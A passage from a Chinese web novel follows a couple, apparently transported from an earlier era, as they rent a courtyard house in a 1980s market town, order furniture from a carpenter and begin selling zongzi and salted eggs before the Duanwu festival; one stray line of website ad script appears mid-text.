他翻了翻记忆也只记起，前几年家里要卖下这头老黄牛时，竞争的只有大队支书家，说明，村里其实都不富裕，但老爷子有护林的满公分，又会打猎，也就没多想了。
现在看来，有那一盒子宝贝的老爷子，确实是有底气。
“那明早你跟我一起去镇上吧？”
“明天？”
白春枝有些奇怪地抬头，不是说还没有准备好么？
“嗯。”萧远山将热水舀出来，重新添了些才解释道，“我今天去了趟打家具的张师傅家，他那边有两套上好的成品，我本来想再瞧瞧，干脆明天就给定下好了，你也来看看还差什么？”
“那行，早些搬过去也好，村里广播又在说了，就是不知道这个雨什么时候下下来。”
白春枝撤了火，想了想觉得也是，既然定了那就尽早行动起来，不然心头一直挂着这个事，搬走了也安心。
老天的事，他们管不着，老爷子的宝贝，萧远山却准备去问问了。
“你小子想干嘛？”
老爷子正准备泡脚了，孙媳妇弄的这艾叶，他从冬天泡到夏天，每晚都睡得好，哪天不泡还不习惯了，见萧远山进来倒完热水还杵在那儿，总不能是来给他洗脚的吧？
不过瞥一眼这小子的神情，老爷子心念一转，哪还不明白是怎么回事，顿时看萧远山眼不是眼的。
自打臭小子结了婚之后，反而是没以前沉稳了，跟他媳妇儿说笑就算了，还把玩笑开到他这老头子身上，只是老爷子嘴上说的嫌弃，心里其实挺受用了。
他从没隐瞒萧远山是他捡到的孩子。
毕竟他不说，小屁孩儿大了懂得多了也会问他要父母，他上哪儿去找，且这村里又从来不缺嘴碎的人。
所以，老爷子坦坦荡荡，没必要瞒着什么。
现在老爷子的感受就是跟孩子更亲近了，而不仅仅只是那点相依为命的缘分。
但萧远山接下来一句话，让老爷子觉得，这亲情，不要也罢。
“滚！给老子滚——”
5. 镇上
“来瞧瞧您这被鹰啄了眼，遭了哪些骗呢？”
“……”
萧远山到底是没看成老爷子盒子里都有哪些东西，但也差不多确定了，这些家底是够他“嚯嚯的”。
有些事，可以放开手脚去做了。
第二天又是一大早，因为白春枝也去，萧远山没急着赶那么一时半会儿，两人吃了早饭才出发。
依旧是牛车板上载得满满的，这回不是萧远山收的山货了，房子定下来后，就可以把家里一些要搬的东西，先一点点的运过去。
小夫妻俩一路朝霞作伴，慢悠悠的往镇上去。
到的时候还早，白春枝明显感觉出镇上比村里热闹多了，而且今天还不是赶集的日子，路上“叮铃铃”的自行车也多了起来，街角能看到不少叫卖的摊贩，很是欣欣向荣。
牛车哒哒的踏在大马路上，路过供销社时，白春枝已经看过好几次，甚至进去买过东西，可还是觉得很气派。
小二层的楼房，大玻璃门面都反着光，门口两根柱子用彩色瓷砖做了造型，她以前从来不知道一栋小楼能精致成那样。
不过听萧远山说，县里、市里还有更高、更好的房子了。
可就这样，白春枝都很难想象的。
走过镇上最好的两条街，萧远山拐了个弯儿，领着白春枝进了一条稍窄的巷子。
这两侧都是住宅，青石板的路面不太平整，却更有生活气息。
早起的人们陆陆续续出门了，白春枝好奇地望了望，大人看着是去做工、这里似乎叫上班，小孩子则是背起小书包去学堂上学。
“真好！”
白春枝不自觉感叹了一句。
其实在村里住着的时候，她感触还不太深，大多数时间都跟原来没什么差别，日出而作日落而息，听广播来的惊叹，也觉得那是外面的世界。
但每次到镇上，白春枝感觉就不一样了，总有些新鲜的变化。
眼下再看到镇上的人们最真实的生活状态，白春枝才深切地体会到了时代的变迁。
一切都便利了许多。
“到了。”
几乎是到了巷子末尾处，萧远山赶着牛车在一处紧闭的大门前停在了下来。
与先前大马路两旁的二层楼房不同，这条巷子大多是青砖瓦房的老房子，看起来很是有些年头了。
难怪萧远山能租下来，白春枝也是听说了，如今比较时兴的是住楼房，就她二哥要准备南下的地方，那工地上人家修的还是高楼大厦呢！
白春枝都不敢想他们要怎么上去。
面前看起来有些陈旧的木门被一把铁将军锁着，钥匙在萧远山身上。
门口的台阶不高，但有门槛，白春枝只见萧远山把牛车调转了一个方向，看来是不打算牵进去。
也是，还不知道里面有多大了。
“你先去开门。”
萧远山将牛栓在了屋檐下的一个石柱上，把钥匙递给了白春枝后，他自己则转身扛了两个大件。
白春枝开了锁，用力推了下，“吱呀”一声，大门才被打开。
“等弄完，我再上点油。”
这房子确实是有些年生了，房东本来是准备卖掉的，只简单修缮了下，他们要住进来的话，萧远山还要再仔细规整规整。
白春枝先踏进门，入眼是一个小天井，中间放了几盆正自由生长的花草，一个大缸表面已经有些青苔了，看来不是盛水的，走近了看，竟是养了睡莲。
房东应该还挺有闲情逸致的，和老爷子一样，只是这么热爱生活的话，也不知道为什么想要把房子卖了。
萧远山扛着东西往里走，瞥了眼正愣神的白春枝，大概也猜到了她的疑惑，笑了笑。
“自然是有了更好的去处。”
“哦？”
好地方啊，白春枝瞬间就想到了近来有门路的人们纷纷都往外走的情况，总觉得外面没过去的远方才是好的。
果然，萧远山点了点头，边走边解释道。
原来这房东确实是个胆大的，很早就是干“倒爷”的那一波，以前还在老爷子那儿偷摸收过山货了，不过很谨慎，一直都没事。
萧远山跟房东是近两年才熟悉起来的，生意能放在明面上了，算是他一个比较稳定的客户。
但人家那是最早一批搭上改革春风列车的人，南来北往的跑着，没两年便发家了，万元户什么的，根本没法儿跟人比，只不过人是低调没显摆而已。
家里呢，同他们一样，就剩个老爷子在，于是，房东一并将人接去了南方养老了。
剩下这没人打理的老房子，就想着卖了也省事些。
只他们这个小镇，所有的事，不管是政策解读、还是基础建设，起步都要慢那么一两拍，加上这是个清末的老屋，修葺过无数次，外头看着也破旧，确实不好出。
要不看不上，要不买不起。
可不住人的话，房子会败的更快，最后，折中的法子就是先租着，然后再看看有没有买家。
“夫君，你是想买下来？”
萧远山讲到这儿，白春枝差不多能听出来，夫君估计是有这意思了，只是不知道这小四合院得多少钱，不管怎么说，再旧，它也是在镇上了，光是地界就是他们村里没法儿比的。
“嗯，有这个想法。”
萧远山没否认，他想来镇上确实不是一两天了，一开始是为了囤货方便，本来有个小仓库差不多就够了，不过来镇上次数多了，在了解了方方面面后，他觉得要有条件的话，搬出来更好。
说着，萧远山停下来，跟白春枝聊起了未来的打算。
“阿枝你也看到了，这个时代，还挺重视读书的。”
“是啊！”讲到这个，白春枝一下子就想起了平日听的，“广播里也在说，要学习文化知识。”
要学的东西还真不少呢，天上飞的、地上走的、水里游的，研究的内容简直不要太广泛了，怪不得现在发展这么厉害。
并且，还分什么国内国外，全都要学的，白春枝都不知道这“国外”是在哪个方位的。
“可不是么，而这也不是空话，是大家都有机会的。”
放原来的时代，那是他们根本不敢想的事。
萧远山原来能识字还是他用两只野鸡请教了山下的教书先生一段时间，为的也是不想当睁眼瞎、不受骗，顺带还能记个账什么的。
想想都有些唏嘘，萧远山叹息了下，继续道。
“只是，受地方限制，各地的教育到底还是有差别的，像咱们村只有小学，上初中得到镇上来，读高中就要去县里，往上还有大学了，那可是高等学府，这些读出来才会有好的工作。”
接下来的话，不用萧远山多说，白春枝也懂了。
他们既然准备要孩子了，肯定要为孩子以后着想的。
白春枝虽然觉得他们现在的日子都够好了，但那只是相较于村里来说，踏出来才知道山外有山。
眼下正好有机会，自然是要抓住了，给那还没影的孩子创造更好的条件，这么盘算一下，时间似乎都有些紧迫了。
“那这房子，房东要价多
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少？”
“两千四全包了。”
家具什么的也带不走，房东就全留下了，萧远山一一看过了，都是实木打的，大部分能用，他只定了两张床。
“……”
全不全包的，白春枝不懂，但也知道这个价格，放村里是天价，可在镇上还真不是，毕竟是带院子的几间房了，真是一点儿都不算离谱的。
知道家里存款的白春枝，再次抬头在看了看这小院，现在才是在真正打量了，还带了点“挑剔”眼光。
怎么说呢，这院子，小是真的小啊。
正房是堂屋那间，两边耳房一个是灶房、一个是杂物间，两侧厢房就是卧室，倒也够他们住。
关键就是它在镇上，可能也带了点“寸土寸金”的意思。
刚他们一路走过这条巷子时，白春枝也看见了，确实，各家的院子都不大，有把前门改成了铺面，正在开板儿准备营业的，但看着最多三间房。
“看着还行么？”
萧远山瞧白春枝边看边点头，想来应该也是满意的，除了没有大院子，怎么着都是比他们原来好的。
最重要的是，小娘子没有被价格吓到。
要知道，如今正儿八经的工人一月工资也才五六十，当然，南边的另算，听房东讲，他们那边的房价，贵的得七百一平，一套下来不得好几万了，那才是真的吓人。
先前萧远山听说房东要卖房，也就萌发了这打算。
没急着说，一是他手上怎么也得有些货款，不能全压在房子上了，二来还得问问小娘子和老爷子的意见，看他们愿不愿意在镇上常住，这和他们原本只打算暂住一阵不一样，怕他们不习惯。
白春枝能有什么意见，心下肯定是满意的，他们居然这么快就要成为镇上的人了。
果然，老爷子说的没错，有钱傍身就是有底气。
小夫妻通过气后，准备回去就问问老爷子的想法了，于是，再多的感慨都压下不提。
萧远山又跑了两趟，牛车上的东西不多了，白春枝将麻袋收拾了出来，准备继续装，家里零碎的东西还不少了。
“诶，你是卖干菌子那个小伙子哇？”
白春枝刚把绳子递给锁完门的萧远山，就听见一个阿婆在问他们了。
“是。”
萧远山对这老婆婆还有点印象，直接点了头。
“嗨呀，你们搬到这儿来住了呀？”
“嗯。”
“……”
白春枝在一旁听着，都要忍不住摇头了，夫君还真是不会跟人寒暄了，也不知道他平日都是怎么卖货的。
不过萧远山的单音并不影响对方拉家常的热情，毕竟，小伙子也算是句句有回应了，打探了两句，拎着菜篮子的老婆婆才问出了她这趟打招呼的重点。
“小伙子，你后面还卖干货不？有没有新鲜菜？土鸡呢，还有不？”
在萧远山点头摇头中，老婆婆得到了满意的答案。
“哦，马上端午了，你们那边有没有粽叶子？”
“……”
这个问题总算是难住萧远山了，他看向白春枝疑惑的皱眉，平时还真没注意了。
“有粽叶的，阿婆。”白春枝赶紧上前一步，然后又问老婆婆，“您是要自己包粽子吗？”
“是啊，买的贵的嘛！”
老婆婆感叹了一句，又让萧远山帮忙收一篮子鸭蛋，盐蛋她也可以自己泡。
总归是要便宜点。
萧远山一口答应了，白春枝听完也在一旁若有所思得点头。
6. 家具
夫妻俩收拾完，没急着赶回去，得先到张师傅家交定金，然后再看着采买一番。
张师傅住在另一个村，赶牛车去也不算远。
镇上供销社的东西，随时能买的，白春枝便没让萧远山停车，直接去张师傅家好了，倒是可以在村里问问看能不能收点棉花，得给老爷子再弹一床厚被子。
小夫妻商量着来，不过半小时的路程，就到了张师傅家。
任何时候，有手艺的人日子都不会太差，像张师傅这样有口碑的老木匠更是如此，从门口就能看到，他家院子很大，堆了不少木料，抬头一看，还不是小平房了，而是一栋两层的小楼。
张家院门是那种很大的铁门，大大敞开的，萧远山的牛车完全能进，但他还是把牛栓在了外面。
萧远山朝院子里喊了一声，得到回应后，和白春枝走了进去。
寻声到了小楼前，头次来的白春枝才发现，这栋楼的一层和村里那些住宅很不一样，布局更像是镇上的店铺，一眼能望到里面，没有多余的隔断显得格外宽敞。
白春枝粗略看了下，一间是木工房，有张大桌子做操作台，各式工具也都或挂或立在一旁，另外几间则摆放了不少成品、半成品的家具，张师傅就从这边走出来的。
“小萧来了啊！”
张师傅今天没打家具，只在刷清漆，但他还是习惯性的拍了拍身上的木屑。
“嗯，张师傅，我们来交定金。”
说着，萧远山便把准备好的信封递给了张师傅。
“嘿哟，你还跟我这么客气，等我那两个徒弟再打两天样，你直接拉走就是了，肯定不得耽误你们搬家的。”
张师傅推拒着，但到底是抵不过萧远山的固执，收下信封后也没拆开数数就放包里了。
约好拉床的时间，这事算是办好了，两人也没多打扰张师傅，出门准备去问问棉花的事。
“诶，小萧你等下。”萧远山刚解开牛车，还没上车，张师傅追了出来朝他们摆了摆手，“不急哈，马上你们师娘出来给你俩带路。”
张师傅口中的师娘，是随他徒弟称呼自己老婆子了，白春枝转头一看，只见一个长相富态妇女，乐呵呵的出来时，身上连围腰都没取，明显是从灶房出来的。
她本人看起来同萧远山挺熟悉的，和两人打了招呼便一屁股坐上牛车，也不废话直接开始指挥该往哪儿走。
张家这块儿位置不错，在村东头离镇上近点，只是种棉花的不多，每家可能留一两分地也就仅够自家，由师娘带路，不用多说，她领着小夫妻直奔村尾去。
“你们啊，算是找对地方了，前两年不是还出了什么新品棉种么，确实比之前的好，抗枯萎，长势非常好，村尾那几户都种的多。”
介绍完村里的情况，师娘又问起了萧远山他们村。
南河村种棉花的更少，主要他们这边的气候其实也不是特别的适宜，大部分都是种粮，加上萧远山平日进山的时间多，种棉花摘棉花又是个辛苦活，他家那几分自留地就没种过。
“是嘛，你们田好土肥，种啥产量都要高些。”
师娘颇为感慨地点点头，还是被饿怕了，能种粮的谁愿意种棉花呢，要不是有点补贴，他们这边种得也少。
不过她也并不是要问什么，就有个话题随便聊聊，然后又不冷落白春枝，转头和小媳妇拉起了家常。
当然，说着师娘便提到了孩子。
“……”
白春枝心想，还好他们也是准备要孩子了，不然真不好回答，笑着继续听师娘讲孩子经。
有了师娘的帮忙，白春枝他们这趟很是顺利。
只寻了两家不仅收齐了还有多的，并且连人家养的几只乌鸡问完价后一并要了，棉花是早就分批晒好的也不用等，刚好萧远山有牛车，立马能拉走。
“你们再往前走点就有一户弹棉花的，他们只收个辛苦费，你们去了说是张师傅家介绍的，保证给你们弹得厚实得很！”
将师娘送到家门了，她还在热心的给小夫妻俩指路。
本来他们是准备找镇上那家弹棉花的，以前基本上都在这一家了，不过白春枝还是决定听师娘去村口去看看，既然有了新选择，当然要货比三家。
交定金、约好取货时间，差不多的流程，又了结一桩事。
回去的路上，白春枝想起来问夫君，怎么他们也跟着叫张师傅老伴儿师娘呢？
张师傅一直有在带徒弟，这么称呼可能是口头的习惯，他们这边口音都差不多，年长一点都喊伯伯嬢嬢，书面些的就叔叔阿姨。
“你说师娘啊——”
小娘子忽然提到这个，萧远山愣了下，随即又有些不好意思了，但还是和白春枝讲了讲缘由。
原来，早在前两年张师傅就有收萧远山为徒的想法了，让他跟着自己一起做木匠。
张师傅的木工手艺是家学渊源，以前他可是凭本事有机会进县上的农具厂了，不过他嫌远没去，就在大队上修理农具，帮村里人打家具，一样的挣工分。
这么些年下来，张师傅早就超越父辈的名声，成为十里八乡叫得上名号的老手艺人了。
近两年市场活跃起来，张师傅是个有想法的人，也不拘于旧思想，紧跟时代的浪潮，接了不少镇上的活儿。
像是结婚这种喜事，家具都是成套的要，36条腿可不少了，还有乡镇学校翻新，桌椅板凳数量更大，最后就是零散的门窗，也来者不拒。
要不，张家的那栋小楼能那么快赚出来么。
萧远山跟张师傅能够迅速的熟识起来，还是托了自家牛车的福，他卖完山货，帮忙拉过几次木料。
“就这样？”
白春枝听到这儿不禁问道，总不至于这么简单吧？
跟着帮忙搬了几回，张师傅就能看出她夫君还是个做木匠的料么，是因为力气大，比较好拉锯？
“不是。”
见小娘子神情有些怪异，一准儿是想歪了，萧远山忍不住轻拍了拍她胡思乱想的脑袋，回过头来继续赶好车才解释道。
“你也知道，咱们那个时代距离现在好几百年了，如今好些东西差不多都是祖辈口口相传下来的，特别是关于传统行当，经手艺人一代代的传承，只是这中间的好多事，很难说得准的……”'');(window.adbyunion = window.adbyunion || []).push(id);})();
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“还包括那些家具吗？”
车上也没别人，白春枝却不自觉的小声了点儿，她脑海中不自觉闪过了一些吓人画面的。
不过更多的是听说——
这片土地历经战火硝烟，再来就是近十来年的疯狂，好多东西是直接砸了的，书也全烧了，那些为人师者更是被赶到他们乡下给住牛棚等等。
而她今天在张师傅家也看到了夫君说的那两套不错的成品，质量不用讲，都是好木头，仔细一回想，确实有些眼熟，特别是上面的雕花样式。
“是。”
萧远山见小娘子明白过来，也没多讲其他的，转而继续说起和张师傅这点师徒缘分。
他不过是一次偶然机会认出了张师傅雕刻的暗八仙。
所谓的“暗八仙”，是没有直接雕刻八仙中的哪一位人物，而是用他们手持的法器来代替。
要一般人来看，估计就能认出宝剑、扇子，然后还觉得葫芦、荷花混在其中有些不伦不类的呢！
这是萧远山以前给一位祝寿的人家送山货有幸见过的，暗八仙也寓意着长寿。
张师傅在那之前做的东西都比较简单，但市场开放后可不一样了，至少一些有点吉祥寓意的像是祥云、牡丹、福寿、龙纹和简单的回字纹，多少还得带点，不仅客人喜欢，也能显出他的手艺了。
不过可惜的是，好些好东西都没能完整的传下来，断代，不是简单一两句说说的。
这也是张师傅为什么那么喜欢带新人学木匠了，也不怕教会徒弟饿死师傅，这里头的学问可深着了。
他一辈子都在跟着父辈学习，加上如今的新技术，像是家具厂那种机械化批量货生产，这点不大能个人实现，但拆解步骤流水操作的方式还是可以借鉴的，总比原来一家一家去人家里打家具来得快。
见着萧远山这样有“见识”的，张师傅自然是喜欢了，小伙子还有一把子力气，完全是个干木匠的好把式。
不用白春枝问，萧远山的答案，自然是拒绝了，他还是更喜欢打猎些，只是张师傅也确实挺执着的就是了。
最后，是萧远山答应张师傅要有见到什么新花样就给他描一下。
当然了，理由也是现成的，他经常镇上县里跑，送货么，保不齐能看到些保存比较好的老家具了。
这回的两套，就是萧远山新给画的样，照着记忆里拔步床简化的，主要还是适合他们这边靠山蚊虫多，可以挂蚊帐。
张师傅头一次打这样的款式，说“新”也不新，可又很简洁，这不，听说他们要搬家，就先给小夫妻试试了。
“……”
听完夫君略显平淡的叙述，白春枝再次震惊了。
这也行？
都不说赚不赚钱了，张师傅肯定会给他们打个折的，那就实打实的省一笔了。
她夫君的脑子也灵光了，这法子都能想到，并且听着那意思这门子买卖还有后续的。
白春枝扭头盯着萧远山瞧了好一会儿，不由开始回忆了一下自己会的，进山采摘捡山货这些，似乎没什么借鉴性，山里人历来就如此，剩下的就是些手工活儿了……
7. 买卖
回到家，萧远山没先处理那几只乌骨鸡，打算先养着。
毕竟这几只是这白羽的，说不定小娘子还得把毛收集起来了。
他们这地方靠山，仅是乌鸡的品种都比较杂，黑的、白的、黄的、花的都有。
常见的黑羽多，但白羽的口感更好，各家要养也是首选白乌骨鸡，只是这些家伙生性好斗爱打架，以放养最为合适，所以尽管价格高些，一般都没哪家能多养几只。
白春枝暂时对乌鸡毛不太感兴趣，她还在琢磨赚钱的法子了。
其实去了趟镇上，特别是听完那老婆婆的话，白春枝心里已经有了打算，吃过午饭，她也不午睡了，赶忙又回了趟娘家。
许是昨天二哥的事差不多是定了下了，白母今天没去地里插秧，刚好白春枝可以一起说了，免得还要妹妹转述一遍，老娘的性子是要她没听明白，怕是能当晚找上门的。
“妈，家里还有谁闲着，一起喊过来吧！”
“嚯哟，你这是好大个生意啊？”
白母听白春枝这口气，当即就回了一句，不过话是那么说，也没耽误她喊人。
没一会儿，白家的娘子军齐聚堂屋，大嫂二嫂和春芽，再加上还没睡的大毛二毛和抱在手上昏昏欲睡的小毛，人也不算少了。
“行了，你讲吧！”
“……”
白春枝瞧她老娘这阵仗，突然觉得自己的这买卖确实有点小。
但再小也是钱了。
白春枝从他们今天去镇上讲起，这帮娘子军也就逢场天有空会去一趟镇上，对市面上的一些细微变化那还真不敏锐，何况现在外头怕是一天一个样儿。
“逢单天也那么多摆摊的啊？”
白母扎根田地好些天了，早饭午饭都是白春芽拎过来的，镇上更是没空去，还真不知道了，有些惊讶的问道。
“对。”
白春枝点点头。
他们这边除每年油菜花开时有个朝会是最大的集市，平时是逢双赶集，只有双号才会聚集那么多人了，买的也基本是农副产品，像前段时间开春，各类种子、菜苗、农具就是大家最需要的了。
白春枝讲的跟这还是有点区别，她那个点儿看到的早餐摊子居多，恰好是能满足镇上人们日常需求的一类。
再一个是被问到的新鲜菜、鸡鸭鱼肉、蛋类。
这些说来在镇农贸市场就能买到，再没比那儿更全的地方了，老婆婆会多问一嘴，许是看如今摊贩多了想找便宜又好的。
那这，她们就没必要掺和一脚了。
自家种的菜，吃不完卖了倒是能赚点，喂养的鸡鸭，总共也没几只，都是一锤子买卖，其他的没货源根本卖不上价。
也就萧远山的山货，才真的是市面上的少数。
白春枝这次的重点是老婆婆提到的“端午”。
粽子、盐蛋，眼下怕是还没人卖了，老婆婆才会有此一问，艾草、菖蒲，镇上估计更难找到。
但这些都是过节正需要的东西。
白春枝打的就是这个主意，这回就由她们去做那个“抢占空白市场”的第一人。
这是白春枝从萧远山那儿学来新词了，都是听外来客商讲的，一下子就把白家的娘子军唬住了。
并且因这些东西同属农产品，在座几人对白春枝提出到镇上去买卖的事，都算接受良好。
关键还是家里穷，不论做什么，有个进项也是好的。
“那这箬竹、艾草到处都是，采一背篓也卖不了多少钱吧？”
箬竹是他们当地常用的粽子叶，妇女们洗衣喂鸡鸭常在河边林间穿梭，自然很常见。
白母还真没想到这些叶子草的还能换钱了，每年也就端午前后，谁有需要的去摘就行，要说药用价值，有，但太常见了根本换不了多少钱，村里人都懒得弄。
几个娘子军有商有量的说了起来，粽叶子不行，那端午还有其他了，粽子和鸭蛋可都不便宜，好好想想总归是有赚头的。
最后，白春枝没想到老娘子挺有野心了。
白母领两个儿媳选了做盐蛋，她和妹妹白春芽就摘箬竹做粽子。
泡盐蛋需要时间，白母盘算了家里的坛子和盐就开始行动起来了，大儿媳娘家更靠近河，那边养鸭子的多，两人准备下午就去收鸭蛋，二儿媳在家洗坛子带娃。
白春枝和白春芽看了白母这执行力，也不耽误了，先去各家换点糯米，等太阳下去点了再去摘叶子。
两姐妹开始没贪多，只换了五十斤糯米，这东西吃多了不消化，一般人家里就囤个一二十斤，她们寻了两三家才凑齐。
“姐，咱这个真的卖得出去吗？”
一人拎了一半，看着沉甸甸的米袋子，白春芽有点不确定的问道。
“应该能吧？”
白春枝也不敢打包票，不过都有人主动问了，想来不怕没人买，就算后面有别人跟着卖了，那也是她们最先开始了，她还是有点信心的，只是话并没有说太满。
“先试试，不行，咱家那么多人了，也能吃完的。”
“……”
没想到她姐连退路都想好了，这退堂鼓也未免太快了吧，白春芽瞬间闭嘴了。
“好了，别想那么多，先做出来再说。”
“嗯。”
白春芽不再多了，好在她本来也不是犹豫不决的性子，只是没做过生意心里有点没底，见姐姐都这么说，她迅速调整好状态，不管怎么样总得尝试一下了，就像她想要出去打工一样。
见妹妹打起精神了，白春枝也不多说什么了。
快到家时，白春枝才想起，这事还没跟夫君讲了，不知道他会不会觉得自己瞎折腾。
推开院门进去，萧远山已经不在家了，问了刚起来的老爷子，才知道他去村上申请宅基地了。
也是，这事不能忘了，村里可是他们的根，总不能就直接丢了，只不过，夫君想要买镇上的房子的话，估计一时半会修不起来房子。
白春枝抬头瞧了瞧老爷子的脸色，没什么大反应，想来他老人家还不知道了。
“这是要做啥子？”
老爷子没看到白春枝在瞅自己，见两人拎了两袋糯米回来，抬着下巴问道。
“准备做粽子。”
自家做来过节的话，是有点早了，白春枝赶紧跟老爷子解释了下，连她们要去镇上卖粽子、艾草都说了。
“哦。”
老爷子没什么好反对的，孙媳妇平日也会晒菌子让孙子拿去镇上卖，只略为有些失望，还以为白春枝要做酒米饭呢！
“……”
白春枝听老爷子声音没什么变化，眼睛却是黏在糯米袋子上了，瞬间明白过来——
这是嘴馋了。
老爷子到底是上了年纪，牙口再好，也爱吃软和一点的，近来还喜欢上了甜食。
他们这儿的糯米的做法还挺多了。
糯米煮熟后打糍粑，不管是直接蘸黄豆粉、还是炸一下蘸红糖都好吃，或者是做甜烧白，糯米打底上面是大片的五花肉夹豆沙撒上白糖，一口咬下去，那滋味绝对是一绝。
不过这两样做起来都要费些功夫。
特别是甜烧白，九大碗中必不可少的一道，一般得是谁家办酒席，大厨的拿手
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菜了，白春枝才刚学会，没做过几回。
思索着今天的备料，白春枝想着晚上给老爷子简单做个酒米饭好了，也就是糯米饭，里面有腊肉丁和豌豆，咸口的，适合要少吃糖的老年人。
白春枝没和老爷子多聊几句，便利索的和妹妹把糯米洗好泡上，红豆也得泡上。
今晚上包粽子都有点赶了，还要煮好几个小时才行。
不过姐妹俩头一天也不准备做多少，明天只是先带点去，让人知道她们也有卖粽子的。
做完这些，白春枝和白春芽背上背篓紧赶慢赶的跑去摘箬竹叶了。
村里每家每户院子后面其实都有一片小竹林了，不过比较集中的箬竹还是在山坡上，都不用多进山去找。
箬竹用处还挺多的，细竹竿能用来做笔杆子或者捆扫把，它叶片够大，老手艺人拿来编蓑衣都行。
“这片长的都不错，应该是够我们摘的了。”
没走多远就找到了一大片箬竹，白春枝放下背篓，非常满意的说道。
箬竹的高度很适合采摘，不像其他的竹子，能有好几米高，或者毛刺多，只是想到后面几天还要包粽子了，两姐妹也算是全副武装手上和脸上全给包了起来。
干惯了农活，两人的动作都比较快，加上新发出来的叶片都比较好，没什么枯黄的都不用多挑，没一会儿就摘好了。
最后就是拿到河边清洗。
因为是拿来包吃的，白春枝格外注意了，白春芽也洗得比较仔细，每一片都检查过的，绝不让发黄卷边影响了卖相。
洗过就是晾晒了，还好做完这些，太阳才刚刚下山，有一点余温足够了。
白春枝留妹妹在家吃饭，吃完还要继续干活呢，懒得来回跑。
晚饭过后，两人正在看糯米泡好了没，白母却在这时候过来了。
“妈，你怎么来了？”
两姐妹都有些惊讶白母的出现。
白春枝想到白母今天那架势，下午应该收了不少鸭蛋了，真不愧是铁娘子，这会儿还有精力来看她们，不由关心道。
“妈你们鸭蛋都弄好了吗？”
“没，白酒不够，明天打了再弄，不差那么一两天的功夫。”
白母无所谓地摆了摆手，看起来是已经做好了安排，进来后，直往泡的糯米盆那边瞧了。
“我来看看你俩，这是今晚就要开始包了？”
“是啊……”
白春枝回完白母，才吾出老母亲这是来视察工作了，她也不藏着掖着，说了下一会儿要做的。
得知姐妹俩没准备包多少，就每种就二十来个，是打算先拿去镇上看看有没有市场，第一回并不贪多，白母也放心了，两人心里有把秤就好。
有了白母的加入，三人效率高了不少。
白春枝计划的就三个口味，白粽可以蘸白糖，然后是蜜枣和肉粽。
家里有个卖山货的，蜜枣还剩了一些，完全够用。
肉粽是本地做法，里面不是那种大块的五花肉，这把握不好容易里面咸，肉要瘦的多口感柴、肥的多了又腻，他们这儿喜欢用红豆和腊肉丁加少许花椒，咸香适中，难度也降低了。
白母做这些，那是有着十几年的功力了，比姐妹俩包的都扎实，哪怕是拿到大小不一的粽叶，也能做到个个一般大，白春枝也庆幸自己给老娘分工的就是肉粽，到时候这个的价格可是最高的。
另一边，萧远山也做好了后勤工作，灶台上的热水已经烧好就等着粽子下锅。
要等粽子全部煮好的话，那就更晚了，白春枝过来替换着看火，让萧远山先送母女俩回去。
8. 胡豆
待白春枝将十个一梱的粽子捞出来，已经是半夜了。
萧远山看着平日早就睡了的小娘子这会儿眼睛还是亮亮的，一点不见困，要知道今天他们依旧是起了个大早，她又没睡午觉的，可真有精神。
白春枝要是晓得萧远山的感慨，一定会告诉他，赚钱当然有劲了。
夫妻俩轻手轻脚的做完收尾工作，这天才算结束。
第二天，村里打鸣的公鸡第一声叫后，白春枝就醒了。
“再睡会儿！”
萧远山压着人没叫白春枝起来，昨天忙了一天本就睡得晚，小娘子还兴奋得睡不着在床上烙饼似的。
“……”
想到今天事关买卖能不能开张了，她势必要拿出最好的精神状态来，白春枝也没勉强，听话的闭眼再眯一下。
萧远山自己则先起了，村里人的早饭一般不太复杂，洗了点米和青菜煮稀饭，锅开后撤成小火，他才去装要拉去镇上的东西。
“拿去，给你媳妇煮上。”
刚把货全部捆好，萧远山就见老爷子居然从外面走进来，也不知道他多早起的，都在山里转悠一圈了。
接过老爷子递来草绳，里面竟是两个大鹅蛋。
“您今天运气好哦？”
“那是！”
老爷子背过手“哼哼”了两声就要进去了，他昨天可是听白家几娘母在那儿说什么鸭蛋的，今早他专门到转到小河边，没想到收获还不小。
“……”萧远山一看老爷子的神情，那能不清楚他在想什么，随即提醒道，“下回天没亮不准去河边走，要是下过雨看踩滑了，没人发现的。”
“晓得了——”
老爷子背着手闻言愣了半秒，才答应，尾音拉得很长，进屋后不禁叹了口气，这孙子是越来越啰嗦了，看来以后他怕是不得让自己进山了。
一家人吃完早饭，白母也掐着点来了，还带了二十个鸭蛋，刚好拿给昨天那个老婆婆了。
这是昨晚就商量好的，萧远山有他的事，白春枝两姐妹的话，两个姑娘太年轻没经验、担心会镇不住场，白母正好要去买酒。
三人坐上牛车就准备出发了。
今天刚好是逢双的日子，白春枝他们一路也遇到了两个村里背着背篓赶集的人，不过人家看牛车上堆了不少货，便没上来。
这条路，村里人是走习惯了的，集市并不是在镇中心，而是城乡交界的大马路边上，哪怕还只是条土路，因为够宽阔，摆摊的真不少了。
白春枝他们路过时，萧远山将牛车赶得更慢了，好让母女俩都看看有些卖的，一会儿收拾早的话还能来逛逛。
“嘿，素华，你不买点东西就走咯？”
白母正和白春枝说着要不要再买两个筲箕，没想到还遇到熟人了，当即惊喜道。
“嗨呀，翠芬，好久都没碰到你了哟！”
“在屋头带孙儿的嘛！”
“……”
曾经一个村的手帕交，如今两人都是奶奶辈了，又是好些日子没见了，自然是有说不完的话。
趁白母和老姐妹摆龙门阵，萧远山将牛车停在边上，白春枝见有人在卖鸭蛋，也过去问了下价。
“这儿的是要稍微贵上那么一两分。”
重新坐回牛车，白春枝偏头对萧远山悄悄说到，昨天白母她们收的多少，她还是知道的。
“大嫂娘家那边今年养鸭子的多，又是熟人，肯定会给个实惠价。”
萧远山时常在镇上跑，大致价格都有数，像他这样直接把货拉到镇上，肯定是会多挣两个路费，不然也对不起自己这一趟的辛苦。
“也是。”
这么一说，白春枝瞬间明白过来，就像她们准备卖盐蛋一样，养鸭子的人家又哪能不知道两者的差价呢？
只是每天放鸭子收鸭蛋已经够忙了，还要下地干活，也不能所有的钱都自己赚了，有人帮忙处理每天收的蛋不用担心放坏了也好。
小夫妻俩聊着，白春枝解开了牛车上挂的一个小布袋，摸了几颗胡豆出来，这是她前两天给老爷子炕的。
老爷子没事就爱吃点，偶尔高兴了，还会跟萧远山小酌两杯，干胡豆下酒简直不要太香。
但是老爷子最近天热了有点上火，酒是不喝了，这炕过的干胡豆就是铁胡豆，牙口不比年轻时候的铁齿银牙，咬不动了，都给萧远山带在路上吃。
“诶你——”
白春枝刚给了萧远山两颗铁胡豆，只见他抓着就给当石子儿似的投掷了出去。
“哎哟！”
没等白春枝多说什么，不远处一道惊呼立即吸引了众人的视线。
原本围在路边摊子的人们顺势以那道呼声为中心的散开。
